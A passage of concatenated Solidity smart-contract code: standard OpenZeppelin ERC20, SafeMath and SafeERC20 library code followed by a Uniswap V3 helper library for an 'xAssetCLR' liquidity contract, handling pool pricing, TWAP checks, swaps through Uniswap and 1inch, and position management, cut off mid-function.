* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import "@uniswap/v3-periphery/contracts/interfaces/IQuoter.sol";
import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./ABDKMath64x64.sol";
import "./Utils.sol";
/**
* Helper library for Uniswap functions
* Used in xAssetCLR
*/
library UniswapLibrary {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint8 private constant TOKEN_DECIMAL_REPRESENTATION = 18;
uint256 private constant SWAP_SLIPPAGE = 50; // 2%
uint256 private constant MINT_BURN_SLIPPAGE = 100; // 1%
// 1inch v3 exchange address
address private constant oneInchExchange =
0x11111112542D85B3EF69AE05771c2dCCff4fAa26;
struct TokenDetails {
address token0;
address token1;
uint256 token0DecimalMultiplier;
uint256 token1DecimalMultiplier;
uint256 tokenDiffDecimalMultiplier;
uint8 token0Decimals;
uint8 token1Decimals;
}
struct PositionDetails {
uint24 poolFee;
uint32 twapPeriod;
uint160 priceLower;
uint160 priceUpper;
uint256 tokenId;
address positionManager;
address router;
address quoter;
address pool;
}
struct AmountsMinted {
uint256 amount0ToMint;
uint256 amount1ToMint;
uint256 amount0Minted;
uint256 amount1Minted;
}
/* ========================================================================================= */
/* Uni V3 Pool Helper functions */
/* ========================================================================================= */
/**
* @dev Returns the current pool price in X96 notation
*/
function getPoolPrice(address _pool) public view returns (uint160) {
IUniswapV3Pool pool = IUniswapV3Pool(_pool);
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return sqrtRatioX96;
}
/**
* Get pool price in decimal notation with 12 decimals
*/
function getPoolPriceWithDecimals(address _pool)
public
view
returns (uint256 price)
{
uint160 sqrtRatioX96 = getPoolPrice(_pool);
return
uint256(sqrtRatioX96).mul(uint256(sqrtRatioX96)).mul(1e12) >> 192;
}
/**
* @dev Returns the current pool liquidity
*/
function getPoolLiquidity(address _pool) public view returns (uint128) {
IUniswapV3Pool pool = IUniswapV3Pool(_pool);
return pool.liquidity();
}
/**
* @dev Calculate pool liquidity for given token amounts
*/
function getLiquidityForAmounts(
uint256 amount0,
uint256 amount1,
uint160 priceLower,
uint160 priceUpper,
address pool
) public view returns (uint128 liquidity) {
liquidity = LiquidityAmounts.getLiquidityForAmounts(
getPoolPrice(pool),
priceLower,
priceUpper,
amount0,
amount1
);
}
/**
* @dev Calculate token amounts for given pool liquidity
*/
function getAmountsForLiquidity(
uint128 liquidity,
uint160 priceLower,
uint160 priceUpper,
address pool
) public view returns (uint256 amount0, uint256 amount1) {
(amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(
getPoolPrice(pool),
priceLower,
priceUpper,
liquidity
);
}
/**
* @dev Calculates the amounts deposited/withdrawn from the pool
* @param amount0 - token0 amount to deposit/withdraw
* @param amount1 - token1 amount to deposit/withdraw
*/
function calculatePoolMintedAmounts(
uint256 amount0,
uint256 amount1,
uint160 priceLower,
uint160 priceUpper,
address pool
) public view returns (uint256 amount0Minted, uint256 amount1Minted) {
uint128 liquidityAmount =
getLiquidityForAmounts(
amount0,
amount1,
priceLower,
priceUpper,
pool
);
(amount0Minted, amount1Minted) = getAmountsForLiquidity(
liquidityAmount,
priceLower,
priceUpper,
pool
);
}
/**
* @dev Get asset 0 twap
* @dev Uses Uni V3 oracle, reading the TWAP from twap period
* @dev or the earliest oracle observation time if twap period is not set
*/
function getAsset0Price(
address pool,
uint32 twapPeriod,
uint8 token0Decimals,
uint8 token1Decimals,
uint256 tokenDiffDecimalMultiplier
) public view returns (int128) {
uint32[] memory secondsArray = new uint32[](2);
// get earliest oracle observation time
IUniswapV3Pool poolImpl = IUniswapV3Pool(pool);
uint32 observationTime = getObservationTime(poolImpl);
uint32 currTimestamp = uint32(block.timestamp);
uint32 earliestObservationSecondsAgo = currTimestamp - observationTime;
if (
twapPeriod == 0 ||
!Utils.lte(
currTimestamp,
observationTime,
currTimestamp - twapPeriod
)
) {
// set to earliest observation time if:
// a) twap period is 0 (not set)
// b) now - twap period is before earliest observation
secondsArray[0] = earliestObservationSecondsAgo;
} else {
secondsArray[0] = twapPeriod;
}
secondsArray[1] = 0;
(int56[] memory prices, ) = poolImpl.observe(secondsArray);
int128 twap = Utils.getTWAP(prices, secondsArray[0]);
if (token1Decimals > token0Decimals) {
// divide twap by token decimal difference
twap = ABDKMath64x64.mul(
twap,
ABDKMath64x64.divu(1, tokenDiffDecimalMultiplier)
);
} else if (token0Decimals > token1Decimals) {
// multiply twap by token decimal difference
int128 multiplierFixed =
ABDKMath64x64.fromUInt(tokenDiffDecimalMultiplier);
twap = ABDKMath64x64.mul(twap, multiplierFixed);
}
return twap;
}
/**
* @dev Get asset 1 twap
* @dev Uses Uni V3 oracle, reading the TWAP from twap period
* @dev or the earliest oracle observation time if twap period is not set
*/
function getAsset1Price(
address pool,
uint32 twapPeriod,
uint8 token0Decimals,
uint8 token1Decimals,
uint256 tokenDiffDecimalMultiplier
) public view returns (int128) {
return
ABDKMath64x64.inv(
getAsset0Price(
pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
)
);
}
/**
* @dev Returns amount in terms of asset 0
* @dev amount * asset 1 price
*/
function getAmountInAsset0Terms(
uint256 amount,
address pool,
uint32 twapPeriod,
uint8 token0Decimals,
uint8 token1Decimals,
uint256 tokenDiffDecimalMultiplier
) public view returns (uint256) {
return
ABDKMath64x64.mulu(
getAsset1Price(
pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
),
amount
);
}
/**
* @dev Returns amount in terms of asset 1
* @dev amount * asset 0 price
*/
function getAmountInAsset1Terms(
uint256 amount,
address pool,
uint32 twapPeriod,
uint8 token0Decimals,
uint8 token1Decimals,
uint256 tokenDiffDecimalMultiplier
) public view returns (uint256) {
return
ABDKMath64x64.mulu(
getAsset0Price(
pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
),
amount
);
}
/**
* @dev Returns the earliest oracle observation time
*/
function getObservationTime(IUniswapV3Pool _pool)
public
view
returns (uint32)
{
IUniswapV3Pool pool = _pool;
(, , uint16 index, uint16 cardinality, , , ) = pool.slot0();
uint16 oldestObservationIndex = (index + 1) % cardinality;
(uint32 observationTime, , , bool initialized) =
pool.observations(oldestObservationIndex);
if (!initialized) (observationTime, , , ) = pool.observations(0);
return observationTime;
}
/**
* @dev Checks if twap deviates too much from the previous twap
* @return current twap
*/
function checkTwap(
address pool,
uint32 twapPeriod,
uint8 token0Decimals,
uint8 token1Decimals,
uint256 tokenDiffDecimalMultiplier,
int128 lastTwap,
uint256 maxTwapDeviationDivisor
) public view returns (int128) {
int128 twap =
getAsset0Price(
pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
);
int128 _lastTwap = lastTwap;
int128 deviation =
_lastTwap > twap ? _lastTwap - twap : twap - _lastTwap;
int128 maxDeviation =
ABDKMath64x64.mul(
twap,
ABDKMath64x64.divu(1, maxTwapDeviationDivisor)
);
require(deviation <= maxDeviation, "Wrong twap");
return twap;
}
/* ========================================================================================= */
/* Uni V3 Swap Router Helper functions */
/* ========================================================================================= */
/**
* @dev Swap token 0 for token 1 in xAssetCLR contract
* @dev amountIn and amountOut should be in 18 decimals always
* @dev amountIn and amountOut are in token 0 terms
*/
function swapToken0ForToken1(
uint256 amountIn,
uint256 amountOut,
PositionDetails memory positionDetails,
TokenDetails memory tokenDetails
) public returns (uint256 _amountOut) {
uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool);
amountOut = amountOut.mul(midPrice).div(1e12);
uint256 token0Balance =
getBufferToken0Balance(
IERC20(tokenDetails.token0),
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
);
require(
token0Balance >= amountIn,
"Swap token 0 for token 1: not enough token 0 balance"
);
amountIn = getToken0AmountInNativeDecimals(
amountIn,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
);
amountOut = getToken1AmountInNativeDecimals(
amountOut,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
);
uint256 amountOutExpected =
IQuoter(positionDetails.quoter).quoteExactInputSingle(
tokenDetails.token0,
tokenDetails.token1,
positionDetails.poolFee,
amountIn,
TickMath.MIN_SQRT_RATIO + 1
);
if (amountOutExpected < amountOut) {
amountOut = amountOutExpected;
}
ISwapRouter(positionDetails.router).exactOutputSingle(
ISwapRouter.ExactOutputSingleParams({
tokenIn: tokenDetails.token0,
tokenOut: tokenDetails.token1,
fee: positionDetails.poolFee,
recipient: address(this),
deadline: block.timestamp,
amountOut: amountOut,
amountInMaximum: amountIn,
sqrtPriceLimitX96: TickMath.MIN_SQRT_RATIO + 1
})
);
return amountOut;
}
/**
* @dev Swap token 1 for token 0 in xAssetCLR contract
* @dev amountIn and amountOut should be in 18 decimals always
* @dev amountIn and amountOut are in token 1 terms
*/
function swapToken1ForToken0(
uint256 amountIn,
uint256 amountOut,
PositionDetails memory positionDetails,
TokenDetails memory tokenDetails
) public returns (uint256 _amountIn) {
uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool);
amountOut = amountOut.mul(1e12).div(midPrice);
uint256 token1Balance =
getBufferToken1Balance(
IERC20(tokenDetails.token1),
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
);
require(
token1Balance >= amountIn,
"Swap token 1 for token 0: not enough token 1 balance"
);
amountIn = getToken1AmountInNativeDecimals(
amountIn,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
);
amountOut = getToken0AmountInNativeDecimals(
amountOut,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
);
uint256 amountOutExpected =
IQuoter(positionDetails.quoter).quoteExactInputSingle(
tokenDetails.token1,
tokenDetails.token0,
positionDetails.poolFee,
amountIn,
TickMath.MAX_SQRT_RATIO - 1
);
if (amountOutExpected < amountOut) {
amountOut = amountOutExpected;
}
ISwapRouter(positionDetails.router).exactOutputSingle(
ISwapRouter.ExactOutputSingleParams({
tokenIn: tokenDetails.token1,
tokenOut: tokenDetails.token0,
fee: positionDetails.poolFee,
recipient: address(this),
deadline: block.timestamp,
amountOut: amountOut,
amountInMaximum: amountIn,
sqrtPriceLimitX96: TickMath.MAX_SQRT_RATIO - 1
})
);
return amountIn;
}
/* ========================================================================================= */
/* 1inch Swap Helper functions */
/* ========================================================================================= */
/**
* @dev Swap tokens in xAssetCLR using 1inch v3 exchange
* @param minReturn - required min amount out from swap, in 18 decimals
* @param _0for1 - swap token0 for token1 if true, token1 for token0 if false
* @param tokenDetails - xAssetCLR token 0 and token 1 details
* @param _oneInchData - One inch calldata, generated off-chain from their v3 api for the swap
*/
function oneInchSwap(
uint256 minReturn,
bool _0for1,
TokenDetails memory tokenDetails,
bytes memory _oneInchData
) public {
uint256 token0AmtSwapped;
uint256 token1AmtSwapped;
bool success;
// inline code to prevent stack too deep errors
{
IERC20 token0 = IERC20(tokenDetails.token0);
IERC20 token1 = IERC20(tokenDetails.token1);
uint256 balanceBeforeToken0 = token0.balanceOf(address(this));
uint256 balanceBeforeToken1 = token1.balanceOf(address(this));
(success, ) = oneInchExchange.call(_oneInchData);
require(success, "One inch swap call failed");
uint256 balanceAfterToken0 = token0.balanceOf(address(this));
uint256 balanceAfterToken1 = token1.balanceOf(address(this));
token0AmtSwapped = subAbs(balanceAfterToken0, balanceBeforeToken0);
token1AmtSwapped = subAbs(balanceAfterToken1, balanceBeforeToken1);
}
uint256 amountInSwapped;
uint256 amountOutReceived;
if (_0for1) {
amountInSwapped = getToken0AmountInWei(
token0AmtSwapped,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
);
amountOutReceived = getToken1AmountInWei(
token1AmtSwapped,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
);
} else {
amountInSwapped = getToken1AmountInWei(
token1AmtSwapped,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
);
amountOutReceived = getToken0AmountInWei(
token0AmtSwapped,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
);
}
// require minimum amount received is > min return
require(
amountOutReceived > minReturn,
"One inch swap not enough output token amount"
);
}
/**
* Approve 1inch v3 for swaps
*/
function approveOneInch(IERC20 token0, IERC20 token1) public {
token0.safeApprove(oneInchExchange, type(uint256).max);
token1.safeApprove(oneInchExchange, type(uint256).max);
}
/* ========================================================================================= */
/* NFT Position Manager Helpers */
/* ========================================================================================= */
/**
* @dev Returns the current liquidity in a position represented by tokenId NFT
*/
function getPositionLiquidity(address positionManager, uint256 tokenId)
public
view
returns (uint128 liquidity)
{
(, , , , , , , liquidity, , , , ) = INonfungiblePositionManager(
positionManager
)
.positions(tokenId);
}
/**
* @dev Stake liquidity in position represented by tokenId NFT
*/
function stake(
uint256 amount0,
uint256 amount1,
address positionManager,
uint256 tokenId
) public returns (uint256 stakedAmount0, uint256 stakedAmount1) {
(, stakedAmount0, stakedAmount1) = INonfungiblePositionManager(
positionManager
)
.increaseLiquidity(
INonfungiblePositionManager.IncreaseLiquidityParams({
tokenId: tokenId,
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)),
amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)),
deadline: block.timestamp
})
);
}
/**
* @dev Unstakes a given amount of liquidity from the Uni V3 position
* @param liquidity amount of liquidity to unstake
* @return amount0 token0 amount unstaked
* @return amount1 token1 amount unstaked
*/
function unstakePosition(
uint128 liquidity,
PositionDetails memory positionDetails
) public returns (uint256 amount0, uint256 amount1) {
INonfungiblePositionManager positionManager =
INonfungiblePositionManager(positionDetails.positionManager);
(uint256 _amount0, uint256 _amount1) =
getAmountsForLiquidity(
liquidity,
positionDetails.priceLower,
positionDetails.priceUpper,
positionDetails.pool
);
(amount0, amount1) = positionManager.decreaseLiquidity(
INonfungiblePositionManager.DecreaseLiquidityParams({
tokenId: positionDetails.tokenId,
liquidity: liquidity,
amount0Min: _amount0.sub(_amount0.div(MINT_BURN_SLIPPAGE)),
amount1Min: _amount1.sub(_amount1.div(MINT_BURN_SLIPPAGE)),
deadline: block.timestamp
})
);
}
/**
* @dev Collect token amounts from pool position
*/
function collectPosition(
uint128 amount0,
uint128 amount1,
uint256 tokenId,
address positionManager
) public returns (uint256 collected0, uint256 collected1) {
(collected0, collected1) = INonfungiblePositionManager(positionManager)
.collect(
INonfungiblePositionManager.CollectParams({
tokenId: tokenId,
recipient: address(this),
amount0Max: amount0,
amount1Max: amount1
})
);
}
/**
* @dev Creates the NFT token representing the pool position
* @dev Mint initial liquidity
*/
function createPosition(
uint256 amount0,
uint256 amount1,
address positionManager,
TokenDetails memory tokenDetails,
PositionDetails memory positionDetails
) public returns (uint256 _tokenId) {
(_tokenId, , , ) = INonfungiblePositionManager(positionManager).mint(
INonfungiblePositionManager.MintParams({
token0: tokenDetails.token0,
token1: tokenDetails.token1,
fee: positionDetails.poolFee,
tickLower: getTickFromPrice(positionDetails.priceLower),
tickUpper: getTickFromPrice(positionDetails.priceUpper),
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)),
amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)),
recipient: address(this),
deadline: block.timestamp
})
);
}
/**
* @dev burn NFT representing a pool position with tokenId
* @dev uses NFT Position Manager
*/
function burn(address positionManager, uint256 tokenId) public {
INonfungiblePositionManager(positionManager).burn(tokenId);
}
/* ========================================================================================= */
/* xAssetCLR Helpers */
/* ========================================================================================= */
/**
* @notice Admin function to stake tokens
* @dev used in case there's leftover tokens in the contract
* @dev Function differs from adminStake in that
* @dev it calculates token amounts to stake so as to have
* @dev all or most of the tokens in the position, and
* @dev no tokens in buffer balance ; swaps as necessary
*/
function adminRebalance(
TokenDetails memory tokenDetails,
PositionDetails memory positionDetails
) public {
(uint256 token0Balance, uint256 token1Balance) =
getBufferTokenBalance(tokenDetails);
token0Balance = getToken0AmountInNativeDecimals(
token0Balance,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
);
token1Balance = getToken1AmountInNativeDecimals(
token1Balance,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
);
(uint256 stakeAmount0, uint256 stakeAmount1) =
checkIfAmountsMatchAndSwap(
token0Balance,
token1Balance,
positionDetails,
tokenDetails
);
(token0Balance, token1Balance) = getBufferTokenBalance(tokenDetails);
token0Balance = getToken0AmountInNativeDecimals(
token0Balance,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
);
